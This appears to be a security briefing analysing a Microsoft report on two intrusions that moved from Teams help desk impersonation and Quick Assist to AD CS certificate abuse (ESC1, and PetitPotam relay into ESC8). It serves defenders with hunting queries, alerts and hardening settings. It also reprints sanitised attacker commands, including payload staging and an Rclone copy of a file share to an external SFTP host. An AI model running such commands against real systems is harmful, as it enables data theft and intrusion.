Microsoft says Teams help desk impersonation led to AD CS abuse in two intrusions, via ESC1 and ESC8

19 users, 11 certificates and one excluded account: what the post counts

Microsoft Threat Intelligence's post of 30 October 2026 describes two human operated intrusions, and its Case 1 holds enough counts to compute from. The first Teams phishing wave targeted three users and compromised one workstation. About 90 minutes after the first disrupted session, a second wave targeted 16 users and compromised another workstation. That is 19 targeted users in two waves and two compromised workstations (derived: 3 plus 16). The attacker obtained certificates for three highly privileged accounts in the first wave and eight more in the second, so 11 certificates in all (derived, and only if no account was counted twice, which the post does not say). Defender blocked more than 1,000 SMB file access attempts after the second wave. One privileged account was excluded from automated response, and the post says that one account was later used to copy data out of a file server.

What those counts do not establish is the size or timing of the incident. The post gives no date for either case, no duration beyond the 90 minutes, no victim sector, no count of organisations beyond the two cases, and no volume of data copied. It says the activity "is not attributed to a specific threat actor". It says the activity "did not exploit a vulnerability in Microsoft Teams" and relied on social engineering and "insecure or overly permissive AD CS configurations". It prints no CVE identifier for any of it. For Case 2 it prints no counts at all beyond one isolated workstation.

This briefing rests on that post, which was read in full on 30 October 2026 between 22:41 and 22:54 UTC, after reading the robots file of each Microsoft host first, as its own step. The page metadata gives its publication time as 16:11 UTC on 30 October. Five Microsoft pages that bear on its advice were also read, listed in the sources. Nothing was filled in or submitted and no file was opened. The post was fetched again before hand back to check that it had not changed.

What the post states, and what it leaves out

The table keeps Microsoft's statements apart from the questions a reader would ask next. Every entry in the middle column is from the post, and every entry in the right column is something the post does not say.

The shared chain: a Teams contact, Quick Assist and a staged runtime

Both intrusions began the same way. A Teams message or call posed as IT or help desk staff and persuaded a user to open Quick Assist and give the connection code, which Microsoft says happened "primarily through Quick Assist". That gave the attacker hands on keyboard access to the workstation. Across the broader activity, Microsoft says, organisation themed onmicrosoft.com tenant names and support oriented display names made the outside contact look familiar. The post shows a Teams call screenshot with External and Scam suspected labels and calls such labels important user facing signals. It does not say that either user saw one in these cases, and this briefing does not reproduce that screenshot.

Straight after the user granted control, the attacker placed an archive in the Downloads folder. Commands run in the session created a KB prefixed directory under the user profile, extracted the archive into it and started the payload with a portable Python, JavaScript or Java runtime. In one variant a renamed executable kept version metadata identifying it as the Bun runtime. In another a staged Java runtime launched a Java source file. The payload queried the Windows version, the network configuration and the running processes, connected to domain infrastructure over LDAPS and SMB, and began assessing AD CS. Microsoft's caution about hunting for this: "File names alone are weak indicators." The pattern it asks for is a portable runtime launched from a newly created, user writable folder after an unauthorised remote session.

Zoom

Zoom

Case 1: ESC1, and what one exclusion cost

ESC1 is a certificate template configuration. Microsoft's post describes it as one in which a requester can supply identity information in the certificate request and obtain a certificate that supports authentication, so that with broad enrolment rights and weak issuance controls a low privileged account can request a certificate for a privileged identity. Microsoft's Defender for Identity page names the setting. If a template has the Supply in the request option turned on, it says, attackers might be able to enrol a certificate valid for arbitrary users. If the template is also valid for authentication and no manager approval or required authorised signatures stand in the way, the page says it allows any unprivileged user to take over any arbitrary user, including a domain admin. The post does not say which of those conditions Case 1's template had, so they describe the class of flaw and are not a finding about this victim.

In the first wave the attacker obtained certificates for three highly privileged accounts. Defender attack disruption targeted the initially compromised user and those three identities. Remote logons and SMB access were restricted and active sessions were disconnected. The post's timeline figure, reproduced below, labels this first disruption proactive and ties it to the time of suspicious certificate requests. About 90 minutes later a larger wave reached 16 users and a second workstation, and the attacker again abused the ESC1 template, this time for eight more privileged accounts. Disruption targeted those too, and more than 1,000 later SMB file access attempts and additional logon attempts were blocked.

An identity exclusion, as the post uses the term, is a setting that keeps an account out of automated containment. Its words: "One privileged account was excluded from automated response, so containment did not apply to that identity." The post does not say who set the exclusion, when, or why, whether the excluded account was one of the certificate accounts or a different one, or how the attacker came to hold it. What it cost, in the post's sequence: the attacker kept using that account for network and remote interactive logons, reached a file server and launched a renamed copy of Rclone using the filename SearchApp.exe. Microsoft's sanitised command, in the technical details, recursively copied a file server share to an external SFTP destination with 20 concurrent transfers, selected files up to three years old and excluded several executable, database, virtual disk, media, temporary and log file types. The post does not say how much data left, whether the copy finished, or what the share held.

Zoom

Within seconds of obtaining one privileged certificate, the post says, the attacker authenticated to a domain controller and performed DCSync while containment was taking effect. Its text says attack disruption "limited additional replication" and follow on use, "but the operation had already begun". Its Figure 6 box reads DCSync interrupted, with in progress replication stopped before completion. The text and the figure do not say quite the same thing, and neither says how much directory data was replicated. If DCSync did replicate credential material, which the post does not state, then resetting one user's password is not the whole answer, and the post's own warning applies: "Resetting the user's password or reimaging the first workstation does not revoke an issued certificate or invalidate Kerberos tickets that have already been issued."

Case 2: PetitPotam and ESC8 turn a login into a domain controller ticket

The post says the ESC1 path used in Case 1 "was not available in this environment". It does not say why. The attacker instead used PetitPotam, which sends requests over the Encrypting File System Remote Protocol (EFSRPC) and makes the domain controller authenticate, with its machine account, to an attacker controlled system. The attacker relayed that NTLM authentication to AD CS Web Enrollment, the technique called ESC8, without knowing the domain controller's password. It then requested and retrieved a certificate using the Domain Controller template through the submission and retrieval paths under /certsrv. Finally it used the certificate for Kerberos PKINIT and obtained a ticket granting ticket for the domain controller account. Microsoft's summary is that this step turned a relayed NTLM authentication into a Kerberos identity backed by a certificate.

The pivot Microsoft highlights is a mismatch: the AD CS server authenticated the domain controller machine account "even though the connection originated from another device". The advice is to correlate the machine account, the source device, the Web Enrollment request, the CA issuance record and the later Kerberos activity. It sets a threshold: "PKINIT success is the response threshold." And it separates two actions that are often run together: "Certificate revocation and Kerberos ticket review are separate containment actions."

Zoom

This is a known class of configuration gap, and Microsoft has a support article on it. KB5005413 says PetitPotam takes advantage of servers where AD CS is not configured with protections for NTLM relay attacks, lists Certificate Authority Web Enrollment and Certificate Enrollment Web Service as the services potentially affected, and gives as its primary mitigation enabling EPA and disabling HTTP on AD CS servers. The saved copy of that page prints no date, and lists Windows Server 2008 to 2019 under what it applies to. The post names no CVE and does not say which Windows Server version or AD CS setting the Case 2 environment had, so the gap it describes is a configuration state, not a flaw with a patch.

Why the two responses ended differently, and what that does not show

Microsoft's explanation is short. In Case 1, it says, "an exclusion left a compromised privileged account available to the attacker despite disruption of other identities". In Case 2, a device isolation led by the customer followed Defender alerts and "no further attack progression was observed". The caption of its Figure 1 adds that the outcomes "differed based on containment coverage and removal of the active execution point".

Zoom

That is a fair summary of what happened in each case. It is not a controlled comparison, and four limits matter. First, the cases differ in technique, environment and tooling, so the exclusion cannot be shown to be the only cause of the difference. Second, the post does not say whether Case 2 had automated disruption switched on, so it is silent on whether the same product would have contained that attacker on its own, or whether a person had to do it. Third, and this is inference from the post's wording and not its claim, identity containment restricts the accounts it covers and leaves the foothold in place, while isolating a device removes the foothold, which fits the "active execution point" phrase. Fourth, "no further progression was observed" is a statement about observation: the post does not say how long watching continued or what telemetry was used. One more detail cuts the other way. In Case 1 the second Teams wave arrived about 90 minutes after the first disruption, so disrupting identities did not stop the attacker coming back through the same front door. The post does not say whether any Teams or Quick Assist setting changed in between.

Friendly names doing the work of a control

Several labels in this chain sound like safeguards and are not. The table sets each against what the sources say.

What this adds to the Talos and Arctic Wolf reports

Two earlier briefings on this site cover the front of this chain. Cisco Talos on fake IT help desk callers read a quarterly trends post and found no count of the calls, while describing a Quick Assist session that began with voice phishing. Arctic Wolf's Teams external chat report counted more than 400 incidents and a 15 minute clock to payload execution, with no breach count. Both stop at or near the remote session.

Microsoft's post is the one of the three that follows a Teams contact into Active Directory, and what it adds is the AD CS stage: the certificate request that turns a user approved session into a durable identity. What it does not add is a count. It describes two cases and cannot say how common the AD CS stage is, and it does not say whether the Teams contacts here are the same activity Arctic Wolf or Talos counted.

Technical details

Microsoft's post prints advanced hunting queries, Defender alert names, MITRE ATT&CK techniques, three file hashes and sanitised command transcripts, and the linked Microsoft pages print the settings to change. Every block below is copied from a page saved on 30 October 2026 and attributed in its caption. The five command transcripts are printed in the post as images, so this site retyped them from the images, keeping Microsoft's placeholders. The post prints no domains, no IP addresses, no tenant names and no file names other than those below. Nothing here is a working exploit.

First, the four advanced hunting queries, as printed. A defender runs them in Microsoft Defender advanced hunting. Microsoft says to tune time windows and filters, to validate field availability in the tenant, and that matches require investigation. The Teams query needs the CloudAppEvents table. The runtime queries look for Bun or Java running scripts from a KB prefixed folder under AppData Roaming.

CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where
    (ActionType == "ChatCreated" and IsExternalUser == true)
    or ActionType in~ (
        "TeamsImpersonationDetected",
        "SecurityRiskInCallDetected")
| order by Timestamp desc

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessVersionInfoOriginalFileName =~ "bun.exe"
    or FileName in~ ("bun.exe", "java.exe", "javaw.exe")
| where ProcessCommandLine contains ".js"
    or ProcessCommandLine contains ".java"
| where FolderPath matches regex
    @"(?i)\\AppData\\Roaming\\KB[0-9]+\\"
| order by Timestamp desc

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessVersionInfoOriginalFileName =~ "bun.exe"
    or InitiatingProcessFileName in~ (
        "bun.exe", "java.exe", "javaw.exe")
| where RemotePort in (80, 445, 636, 88)
| where InitiatingProcessFolderPath matches regex
    @"(?i)\\AppData\\Roaming\\KB[0-9]+\\"
| order by Timestamp desc

AlertInfo
| where Timestamp > ago(7d)
| where
    Title contains "NTLM relay"
    or Title contains "Certificate Services"
    or Title contains "PKINIT"
    or Title contains "Kerberos ticket request"
| join kind=inner (
    AlertEvidence
    | where Timestamp > ago(7d)
) on AlertId

Second, the command transcripts. Microsoft labels each as sanitised: the angle bracket tokens are Microsoft's placeholders, not values. They show what a defender should recognise. The first two stage an archive and start a runtime from a KB prefixed folder. The third is the discovery commands. The fourth is the Rclone copy in Case 1, where Microsoft has redacted the password. The fifth lists the Web Enrollment paths that appear in the ESC8 step. Isolated access to /certsrv is not malicious by itself, Microsoft says, and has to be correlated with the account, source device, process and CA request.

mkdir "%appdata%\KB<digits>" &
tar -xf "%USERPROFILE%\Downloads\kb<digits>.n"
    -C "%appdata%\KB<digits>" &
start conhost "%appdata%\KB<digits>\<renamed-runtime>.exe"
    "%appdata%\KB<digits>\<loader>.js" &
cls & echo Success

mkdir "%appdata%\KB<digits>" &
tar -xf "%USERPROFILE%\Downloads\kb<digits>.p"
    -C "%appdata%\KB<digits>" &&
tar -xf "%appdata%\KB<digits>\<second-archive>.p"
    -C "%appdata%\KB<digits>" &
start "" "%appdata%\KB<digits>\bin\javaw.exe"
    "%appdata%\KB<digits>\<source>.java" &
cls & echo Success

cmd /c reg query
    "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
cmd /c "ipconfig /all"
cmd /c tasklist

"<RENAMED_RCLONE>.exe" copy
  --transfers 20 --stats=5s --max-age=3y --progress
  --exclude <NON_TARGET_FILE_TYPES> --no-check-certificate
  --sftp-host <SFTP_HOST> --sftp-port 22
  --sftp-user <SFTP_USER> --sftp-pass <REDACTED>
  "\\<FILE_SERVER>\<SHARE>" :sftp:"/<DESTINATION_PATH>"

http://<CA_HOST>/certsrv/
http://<CA_HOST>/certsrv/certfnsh.asp
http://<CA_HOST>/certsrv/certnew.cer?ReqID=<REQUEST_ID>

Third, the Defender alert names the post lists against each tactic. A defender checks whether each is enabled and routed to a person. Microsoft says alert names and availability depend on product configuration and enabled sensors. In the post's table two entries run together on one line, and this site split them at the dash. The first line of each group is the product as printed.

Initial access
  Microsoft Defender for Cloud Applications / Office 365
    Microsoft Teams chat initiated by a suspicious external user
    IT Support Teams Voice phishing following mail bombing activity
    A user clicked through to a potentially malicious URL.
    A potentially malicious URL click was detected.
    Suspicious Teams Chat likely involved in remote management and dangerous commands
    Possible Teams phishing affecting more than two users
  Microsoft Defender for Endpoint
    Possible initial access from an emerging threat
Execution
  Microsoft Defender for Endpoint
    Possible initial access from an emerging threat
    Suspicious JavaScript process
Discovery
  Microsoft Defender for Identity
    Possible Active Directory Certificate Services enumeration
    Suspicious Active Directory Certificate Services (AD CS) certificate request
Credential access, ESC1
  Microsoft Defender for Endpoint
    Suspicious Domain Controller authentication to Active Directory Certificate Services server
  Microsoft Defender for Identity
    Suspicious Active Directory Certificate Services (AD CS) misconfigured certificate template abuse (ESC1)
Credential access, relay
  Microsoft Defender for Endpoint
    Possible NTLM relay attack
Credential access, ESC8
  Microsoft Defender for Endpoint
    Suspicious Active Directory Certificate Services (AD CS) machine certificate issuance abuse (ESC8)
Credential access, PKINIT
  Microsoft Defender for Identity
    Suspicious certificate usage over Kerberos protocol (PKINIT)
    Suspected suspicious Kerberos ticket request
Impact prevention
  Microsoft Defender for Endpoint
    Possible source of DCSync attack
  Microsoft Defender for Identity
    Suspected DCSync attack (replication of directory services)

Fourth, the MITRE ATT&CK techniques the post lists as observed, with its one line on each, as printed. A defender maps detections to these. Note that T1557 carries a limit in Microsoft's own words: no name resolution poisoning was established.

T1566.003 Phishing: Spearphishing via Service | Teams messages used for support impersonation.
T1566.004 Phishing: Spearphishing Voice | A Teams call formed part of the social-engineering interaction.
T1219 Remote Access Software | An attacker-controlled remote monitoring and management session provided interactive access.
T1059.003 Command and Scripting Interpreter: Windows Command Shell | Shell commands staged archives, launched the runtime, and initiated native discovery commands.
T1059.007 Command and Scripting Interpreter: JavaScript/JScript | Bun executed attacker-supplied JavaScript modules.
T1036 Masquerading | The activity used update-themed staging and a renamed Bun executable.
T1082 System Information Discovery | The runtime initiated a Windows version registry query.
T1016 System Network Configuration Discovery | The runtime initiated ipconfig /all.
T1057 Process Discovery | The runtime initiated tasklist.
T1557 Adversary-in-the-Middle | Certificate authority telemetry showed a domain-controller identity authenticating from another device, supporting NTLM relay; no name-resolution poisoning was established.
T1649 Steal or Forge Authentication Certificates | The activity involved abusive machine-certificate issuance through Certificate Services Web Enrollment and subsequent certificate-based authentication.

Fifth, the only indicators the post prints: three SHA 256 hashes, with the role it gives each. They are script files from initial access, one JavaScript and two Python. File hashes are specific to the sample, and the post itself says file names alone are weak indicators, so use them as a quick check and rely on the behaviour in the queries.

85b6c424117494d3056e88689dbc94c75e9afdb187a339714043aec0da109f17 | SHA-256 | Initial Access Java Script
f326201269f1ee2f803ae435317507263bb6e0dbfdeb70bd1bb5446e2e46f001 | SHA-256 | Initial Access python script
06c5c14f043aee3bcc5843b5f50909623d5c9a6239a7c1fba9cddad4111469e7 | SHA-256 | Initial Access python script

Sixth, the AD CS hardening settings that sit behind the ESC8 advice. The post links to KB5005413, and this is what that page prints for the Certificate Enrollment Web Service binding. Microsoft's page says to enable EPA, with Required the more secure option, enable Require SSL, and then restart IIS. The page says the Always value in the file matches the Required setting in the interface. The page notes that the iisreset command stops and restarts all running IIS services, so plan the change.

<binding name="TransportWithHeaderClientAuth">
     <security mode="Transport">
         <transport clientCredentialType="Windows">
         <extendedProtectionPolicy policyEnforcement="Always" />
         </transport>
         <message clientCredentialType="None" establishSecurityContext="false" negotiateServiceCredential="false" />
     </security>
     <readerQuotas maxStringContentLength="131072" />
</binding>

iisreset /restart

Seventh, Microsoft's documented way to switch Quick Assist off, from its Quick Assist page. The page says blocking the endpoint disrupts Remote Help, which relies on it, and the uninstall removes the app for all users. Test either against your own remote support process first. The post itself says only to restrict remote support software to approved products, operators and workflows.

Block traffic to:
https://remoteassistance.support.services.microsoft.com

Uninstall for all users, run as Administrator (PowerShell):
Get-AppxPackage -Name MicrosoftCorporationII.QuickAssist | Remove-AppxPackage -AllUsers

For defenders, in the order worth doing

The items are Microsoft's, from the post and the pages it points to. The order is this site's, front of the chain first, then the certificate layer, then response. Microsoft's post lists them in a different order, and where an item comes from a linked page and not the post, it says so.

Method and interest

Microsoft sells Defender XDR, Defender for Identity, Defender for Endpoint, Defender for Cloud Applications and Security Copilot, all of which the post names, and both response stories in it are about Defender. The account is a vendor's description of its own product in two customer incidents, and no independent source for either case was read. The post is the only source for the cases. The Microsoft Learn and Support pages were read for the definitions and settings they print, and where one of them goes beyond the post, the text says so. The advice on Teams settings, including the default that all external domains are allowed, is from Microsoft's external access page; a separate Microsoft Teams page says tenant admins can disable interaction with external users through enterprise federation.

The question that exposes the gap

The record is two cases, one ending in data copied out through an account that was left outside automated containment, and one ending when a customer isolated a workstation. If a user in your organisation approved a Quick Assist session tomorrow and the attacker held a certificate for a privileged account within the hour, which privileged accounts in your estate are excluded from automated containment, and who decided that?

Key facts